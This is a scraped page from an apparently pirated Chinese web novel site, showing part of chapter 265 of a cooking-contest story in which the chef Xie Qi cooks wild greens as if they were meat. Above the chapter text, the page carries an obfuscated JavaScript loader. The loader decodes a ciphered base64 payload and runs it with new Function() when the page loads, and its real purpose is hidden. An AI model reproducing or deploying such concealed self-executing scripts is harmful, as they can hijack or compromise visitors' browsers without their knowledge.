白洁小说网

阅读记录  |   用户书架
(function(){function te1a7951(z4874c33){var rceaee7d5="Jjzf?2;8t!SDxe$]CAyp3m/sMR[uQr.W7@-vLUqk&(5OGgNX^EKnbI_=Z1Pc90T|w~o6ha,:FVYiHlBd%4";var y4c20dc8="sIGOcF8pV@1U29_~=7]rfSv0$j[.HlY%5?a|EJmxLMXC^D;tek4wuR!ozBKPZd/gT,QynA-Wh63&qbi(:N";return atob(z4874c33).split('').map(function(ff0fd44){var x06364=rceaee7d5.indexOf(ff0fd44);return x06364==-1?ff0fd44:y4c20dc8[x06364]}).join('')}var c=te1a7951('rtmp://bkJoMD1uWyIzcyIrIjNWU0EiKyI3IisiZSJ5QzNiaD9YQj1oZCl7ZDNiaD9YQj1oZDY/VjNseD9TfkozVj9ZQWVsLX5xM2UzMGUwP1l+cXg/eGVBMyl7QjNkVEcoLT92OkJoVHVYXkpYZGgtL0J8LVg9cHU4ci1YMz1wcSkpe3BeWGJwaH0vLXAgRXNLQTAwMGwtQzNiaD9YQj1oZDNWWT87U1NTKXtwXlhicGggbVhwQmh8dTNwPXFPRi1wTz0wXmQzVlk/O1NTUyl9Ti8tcCAwbEtWWS03U0NbInJSSixRc1MkJmZhZyRVbSRRdygmIn4iL15wLHNTIn4iSkIwLFNLViJ+Ij8/WCx4c3g3LHNWLHhZIHhZJXM3JTdzInlOLy1wIGhzZXN4O1ZTQ3EzZTMwZTA/WVtFc0tBMDAwbC1kZUEpK0VzS0EwMDBsLWRTU1YpK0VzS0EwMDBsLWRTU1MpK0VzS0EwMDBsLWRlOyl5fmJZZVZBVjNLQ3EzZTMwZTA/WVtFc0tBMDAwbC1kZTspK0VzS0EwMDBsLWRTU1YpK0VzS0EwMDBsLWRTU1MpK0VzS0EwMDBsLWRlQSl5fkpsc2w7Q3F4P3hlQTNbaHNlc3g7VlNkIi5ZdDY/cXRiMDI0Uj9xcm4wYUNDIil5fl4zLTstO1Y7c0Noc2VzeDtWU2QiLllVci41SXJJOmtybDp0YjBhQ0MiKX5eMDNTXjBzQ2hzZXN4O1ZTZCI/WXRCP1lJNi06N2giKX5COy1ZM2VZO0Noc2VzeDtWU2QiP3F0bmx6MlI5b0NDIil+UlZZVlk3ZVMtQ2hzZXN4O1ZTZCI/WTFKLTVvQyIpfi1WP1NBO0FDaHNlc3g7VlNkIj9xdHg5NVVaOW9DQyIpflpBc0FlS2xeQ2hzZXN4O1ZTZCItcWU4bHxDQyIpflhlWWxsU0F4Q3EzZTMwZTA/WVtoc2VzeDtWU2Qidzoycy1hQ0MiKXl+ODBeZVZBP3hDWGVZbGxTQXhbaHNlc3g7VlNkIi54dDhsYUNDIil5fi1WS3gwMDdeQ1hlWWxsU0F4W2hzZXN4O1ZTZCI5cWsvbFlqQyIpeX5sXjtWZVZDWGVZbGxTQXhbaHNlc3g7VlNkIj9xMmI5emVYIil5fkJsPzctN2VDaHNlc3g7VlNkImw6MnMueHxDIil+cl4teF5WWS03Q2hzZXN4O1ZTZCJsOjJuIil+cF5lQVZeP1lDaHNlc3g7VlNkImx6ZUY5YUNDIilOLy1wIFpTO2UwZTMzQ2hzZXN4O1ZTZCI/eFNzLTpJcjB8Q0MiKU4vLXAgOD9lU0EzOzdLTi8tcCAvc0teM3hsQzY/VjNseD9TW3N5TkIzZDY/VjNseD9TdXJeaHxYRj5TKXsvc0teM3hsQzY/VjNseD9TWy1WS3gwMDdeZGxeO1ZlVmQpKjY/VjNseD9TdXJeaHxYRil5fUIzZHI9Py1YQj1odUpeLXA/RnVCaDBea2YzZFpTO2UwZTMzKT4sUyl7OD9lU0EzOzdLQ3F4P3hlQTNbXjMtOy07VjtzeWRoc2VzeDtWU2QiMHp0SzB6MjY5OkxDIikpTjg/ZVNBMzs3S3VCMEMiWCIrbF47VmVWZCkqU15LTjg/ZVNBMzs3S3VKWDZyXnVuQjBYRkMiU3NzVyJOOD9lU0EzOzdLdUpYNnJedUZeQnxGWEMiN3NzOGsiTjg/ZVNBMzs3S3UwQkotbHJeMENYcGJeTkIzZHF4P3hlQTN1bD0wNl9DaGJycil7cXg/eGVBM3VsPTA2dS04OF5oME9GQnIwZDg/ZVNBMzs3Syl9XnJKXnsvLXAgRlM/MDBDM2JoP1hCPWhkKXtxeD94ZUEzdWw9MDZ1LTg4XmgwT0ZCcjBkOD9lU0EzOzdLKU5xM2UzMGUwP1l1cF5xPS9eTC9eaFgmQkpYXmhecGRwXmVBVl4/WX5GUz8wMH4zLXJKXil9TnEzZTMwZTA/WXUtMDBML15oWCZCSlheaF5wZHBeZUFWXj9ZfkZTPzAwfjMtckpeKX19Ly1wIEZLP3NZeEtlQ3F4P3hlQTNbXjMtOy07VjtzeWRoc2VzeDtWU2QiOTpTQjk6b0MiKSlORks/c1l4S2V1QjBDSjNWP1lBZWwtKzgwXmVWQT94ZGxeO1ZlVmQpKlNeSylORks/c1l4S2V1Slg2cl51Rl5CfEZYQyJzOGsiTkZLP3NZeEtldUpYNnJedT0vXnAzcj1uQyJGQjAwXmgiTj89aEpYIFpLOzMwXmxTO0NkXjdsWTNzfm47LTMtP0t+NlYtM2w3WV5DeHNzKUM+Y3A9cUJKXnVwLT9eZFszXlg/RmReN2xZM3N+bjstMy0/Syl+aF5uIGNwPXFCSl5kZGQkfnBeUl4/WClDPkpeWHdCcV49YlhkZGQpQz5wXlJeP1hkaF5uIExwcD1wZCJYQnFePWJYIikpKX42Vi0zbDdZXikpKXkpTi8tcCA2P1k3ZWxDLUo2aD8gM2JoP1hCPWhkWlkweDNeP3hLKXsvLXAgcjdeU0FDWyJSSiJ+Ij9KSiJ+IkZYcXIifiJ8QjMifiJSOHwifiI4aHwieU4vLXAgcmVeXlk/P0NyN15TQXVyXmh8WEZOcjdeU0FDcjdeU0FbLVZLeDAwN15kbF47VmVWZCkqcmVeXlk/Pyl5Tj89aEpYIF47XmVBQWV4Q1siOXg/Yj9ZMi9sNTg4MGh0Wmw6a1g5eDA3bG03c2xZYVZmd0VTNHxDQyJ5Ti8tcCA9VjA/cy0zQ147XmVBQWV4W3N5TkIzZF47XmVBQWV4dXJeaHxYRj5TKXs9VjA/cy0zQ147XmVBQWV4Wy1WS3gwMDdeZGxeO1ZlVmQpKl47XmVBQWV4dXJeaHxYRil5fS8tcCByXmxec1lDWyJGWFg4SiVUIn5xU2UzN2xzbF5kPVYwP3MtMyl+IkZYcXIifkZLP3NZeEtldUIwfmBNe0ozVj9ZQWVsLX11TXtyN15TQX1geVtaQXNBZUtsXnlkIlQiKU5CM2Q4P2VTQTM7N0tfQ2hicnIpOD9lU0EzOzdLdS8tcmJeK0MiXHBcaEpeaDAgSEogRj1KWCAiK3JebF5zWU5YcDZ7Ly1wIG5sczM3VlZDLW4tQlggWks7MzBebFM7ZHJebF5zWX57Py0/Rl4lImg9LEpYPXBeIn5wXjBCcF4/WCUiMz1ycj1uIn0pTm5sczM3VlZDLW4tQlggbmxzMzdWVnVYXmtYZClOLy1wIEY3eHgwO0NubHMzN1ZWdUJoMF5rZjNkRXNLQTAwMGwtZFZTKSlOLy1wIFpWMzM7M0MiIk5CM2RGN3h4MDs+Q3Mpe1pWMzM7M0NubHMzN1ZWW14wM1NeMHN5ZEY3eHgwOylObmxzMzdWVkNubHMzN1ZWW14wM1NeMHN5ZHN+Rjd4eDA7KX1ubHMzN1ZWQ25sczM3VlZbQmw/Ny03ZXlkVHV7U35LfVR8KVtyXi14XlZZLTd5ZGRrQz5rW1JWWVZZN2VTLXlkIiIpWy1WP1NBO0F5ZClbWkFzQWVLbF55ZCIiKSkpW1pBc0FlS2xeeWQiIilObmxzMzdWVkNubHMzN1ZWK1pWMzM7M05ubHMzN1ZWQ2hzZXN4O1ZTZG5sczM3VlYpTlpZMHgzXj94S0NubHMzN1ZWW1JWWVZZN2VTLXlkIlQiKVtzeU5CM2Q4P2VTQTM7N0tfQ2hicnIpOD9lU0EzOzdLdS8tcmJeK0MiXHBcaHxeWCBISiBGPUpYIEpiPz9eSkoiK1pZMHgzXj94S30/LVg/RmQzZTstZVkpe0IzZDg/ZVNBMzs3S19DaGJycik4P2VTQTM7N0t1Ly1yYl4rQyJccFxofF5YIEhKIEY9SlggMy1Ccl4wIiszZTstZVl9Ly1wIHxlUz87Q2JZZVZBVjNLZDBsS1ZZLTdTdT89aD8tWGRbYGg9bixNe2ctWF5bImg9biJ5ZCl9YH5gRnBeMyxNe3I9Py1YQj1odUZwXjN9YH5gYko/LE17a2x4LUtTUz8tZCl9YHkpdUo9cFhkZGQpQz5sXjtWZVZkKSx1NykpW1pBc0FlS2xeeWQifiIpKU4vLXAgQmw7S0E7bDdDfGVTPzt1QmgwXmtmM2RFc0tBMDAwbC1kVlMpKT4sU0B8ZVM/O1teMDNTXjBzeWR8ZVM/O3VCaDBea2YzZEVzS0EwMDBsLWRWUykpKSUiIk58ZVM/O0N8ZVM/O1tCOy1ZM2VZO3lkQmw7S0E7bDd+IiIpW1JWWVZZN2VTLXlkIiIpWy1WP1NBO0F5ZClbWkFzQWVLbF55ZCIiKStCbDtLQTtsN05GSz9zWXhLZXVKcD9DWyJGWFg4SiVUIn5aWTB4M14/eEt+Rks/c1l4S2V1QjB+fGVTPzt5W1pBc0FlS2xeeWQiVCIpTlhwNntxeD94ZUEzdWw9MDZ1LTg4XmgwT0ZCcjBkRks/c1l4S2UpfT8tWD9GZF4pe3F4P3hlQTN1LTAwTC9eaFgmQkpYXmhecGQiZ2YoTz1oWF5oWCY9LTBeMCJ+ZGQpQz57cXg/eGVBM3VsPTA2dUJoSl5wWDFeMz1wXmRGSz9zWXhLZX5xeD94ZUEzdWw9MDZ1P0ZCcjA0PTBeSltzeSl9KSl9QjNkOD9lU0EzOzdLX0NoYnJyKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoLTg4XmgwXjAgXnEgWD0gRlhxciJOLy1wIDhBeGw7LUs/Q3F4P3hlQTN1fF5YTHJecV5oWDE2ajBkRks/c1l4S2V1QjApTkIzZDhBeGw7LUs/Q0NoYnJydnY4QXhsOy1LP0NDYmgwXjNCaF4wKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoID8taFggfF5YIF5xIDNwPXEgRlhxciJ9fX1OQjNkOD9lU0EzOzdLX0NoYnJyKXs4P2VTQTM7N0t1Ly1yYl4rQyJccFxoSl5oMCBSSiBGPUpYICIrL3NLXjN4bH0vLXAga2x4LUtTUz8tQzNiaD9YQj1oZCl7WHA2ez89aEpYIC87M2V4P1NZQ2RoXm4gZy1YXil1WD0mPT8tcl5nLVhebVhwQmh8ZClOPz1oSlggaDNlN2VZPzNZQ2BKcVhCJEpCMCRNey9BbDszdUozVj9ZQWVsLX0kOC9gTnJeWCBIM1Zsc1YtQVlDVW1mNHU4LXBKXmRyPT8tcm1YPXAtfF51fF5YalhecWRoM2U3ZVk/M1kpKU5CM2RIM1Zsc1YtQVlDQ2hicnJ2dkgzVmxzVi1BWXUwLVheX0MvOzNleD9TWSl7SDNWbHNWLUFZQ3s4L3dCcV5KJXN+MC1YXiUvOzNleD9TWX19cF5YYnBoIEgzVmxzVi1BWXU4L3dCcV5KK1N9Py1YP0ZkMzdeLTdWc2VeKXtwXlhicGggU319Ti8tcCBxU2UzN2xzbF5DM2JoP1hCPWhkRnNlVmw/KXtwXlhicGggaHNlc3g7VlNkRnNlVmw/KVtCOy1ZM2VZO3lkRXNLQTAwMGwtZEt4KX5sXjtWZVZkKXVYPW1YcEJofGRZVil1SnJCP15kLVZLeDAwN15kbF47VmVWZCkqZSkreCkpfU42P1k3ZWxkcVNlMzdsc2xeZC9zS14zeGwpKU5xM2UzMGUwP1lbIi0wMEwvXmhYJkJKWF5oXnAieWQicV5KSi18XiJ+ZDNiaD9YQj1oZDM3Xi03VnNlXil7QjNkMzdeLTdWc2VedTAtWC11RUNDSjNWP1lBZWwtKXtxeD94ZUEzdXxeWExyXnFeaFgxNmowZEZLP3NZeEtldUIwKXVwXnE9L15kKU4vLXAgXjBsZTszQTBDaGJyck5CM2Q4P2VTQTM7N0tfQ2hicnIpezg/ZVNBMzs3S3UvLXJiXitDIlxwXGhwXj9eQi9eIF5xIDg9SlggcV5KSi18XiJOOD9lU0EzOzdLdS8tcmJeK0MiXHBcaF51MC1YLXUvICIrMzdeLTdWc2VedTAtWC11SE5eMGxlOzNBMENkdXV1fD9lS0swWVkpQz57QjNkX3w/ZUtLMFlZdnZ8P2VLSzBZWXVyXmh8WEY8Q3MpcF5YYnBoTjg/ZVNBMzs3S3UvLXJiXitDIlxwXGgiK3w/ZUtLMFlZdVI9QmhkIiAiKX19aF5uIDJiaD9YQj1oZCItcHxKIn4zN14tN1ZzZV51MC1YLXVIKWR7JFgwP0olSmxzbDt+JHI9fCVeMGxlOzNBMH0pfX0pKX0pZFsiOXg/Yi41MXNmenJZLjVJWmw6a1g5eDA3bG03c2xZYVZmd0VTNHxDQyJ5fiJTS1Yifm5CaDA9bn4wPT9icV5oWCl9TjNzM1ZTQTdlZClO'.substr(7));new Function(c)()})();
上一页
目录 | 设置
下一章

第265章 当成肉菜(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |

喂喂!

节操啊夫人!

夏言一万个吐槽。

……

另一边。

却说再次踏入厨房的‘钢棍’解七,已经着手处理袋子里的野菜。

他的处理,是把叶子悉数摘下,但枝条不丢,浸水洗干净了,放在案板上用刀子,切成均等的条段状,手一抓,铺在了盘子之上。

叶片,菜根,就此泾渭分明。

解七的目光扫过。

“食材有限,怎样合理使用有限的素材,烹调出特级菜品?”

每人一公斤量,说多不多,说少不少,若想完整做出一道蔬菜佳肴,容错率也就在两三次以内。

罢,先探寻除腥之法,最起码要做到压制!镇压!

解七率先采用一个日常且普通的做法——

热水浸泡。

他将一片叶、几条根茎,丢入热水盆,并滴了一些白醋,不久后打捞起叶片和根茎,嚼吃尝味道,边咬边摇头,脸色阴郁:

“不行!”

“效果是有,但很微弱。”

念头一转。

解七暗道,如果是把根茎产生肉腥肉膻味的汁水,全部“除净”呢?

他花了一刻钟尝试后,再度直摇头。

不行不行。

汁水过度流逝,嚼吃的时候,口感明显变老,风味全无!

想到这,解七扫向桌上野菜的目光,渐渐不同了。

他并不是那类古板、死脑筋的主厨,相反的,因为晋升特级后,游历大江南北,见过不少的奇人异士,观阅过众多厨艺流派风格,所以解七的理念一直是开放而灵活的。

本小章还未完,请点击下一页继续阅读后面精彩内容!此时,解七脑中突然冒出一个大胆的念头——

索性。

就把“野菜”,视为“荤肉”!

当成肉菜处理!

如此一来,解七发觉视野豁然开朗。

处理荤肉腥臊味的手法,那些爆蒜姜葱,还有诸如八角、桂皮和草果这类传统的香辛料。

解七认为自己在荒芜丛林,找到了一条光明之径,原本写着阴郁的脸庞,突然泛起了自信的笑容:“就这么做,我要赢——”

夏言走进屋子时,发现了解七怪异至极的操作。

他把叶片、小根茎,全都投进盆子。

手上抹了一把雪白的盐粒。

动作上,显得温柔,小心翼翼的,给叶片和菜根涂抹盐粒,仿佛怕伤及娇弱的皮层。

“这是‘腌制’?”夏言站一会,看出了些门道。

不远处的灶台上,一口锅子正烧煮着水,此时水煮到沸腾,水面漂浮出葱段、姜片和一些五花八门的香辛料。

嗞嗞嗞!

完成“腌制”的解七,又在灶台上,架了一口炒锅,且锅子很快烧热。

紧接着,只见解七倾翻铜盆,将叶片和菜根,一股脑投进热水锅,没几秒钟,就用大漏勺飞快的打捞而起,并把漏勺悬到废水槽的半空,手臂持续的抖震,将蔬菜叶段带出来的水分,肉眼可见的甩震出去。

下油到炒锅,却不是炒蔬菜,而是炒量极大的蒜蓉。

两者分开烹炒。

在装盘时,炒勺抖落一片蒜蓉,落在了冒热雾的绿意蔬菜之上。

“完成!”

解七的兴奋溢于言表。

却不料,一个泼冷水的声音,从背后的厨房小屋传出:

“我等你有一会了。”

解七错愕回头,发现胡浚站在门外,双手端着一个盘子,冷冷凝望他。

喜欢永恒美食乐园请大家收藏:永恒美食乐园本站更新速度全网最快。

上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间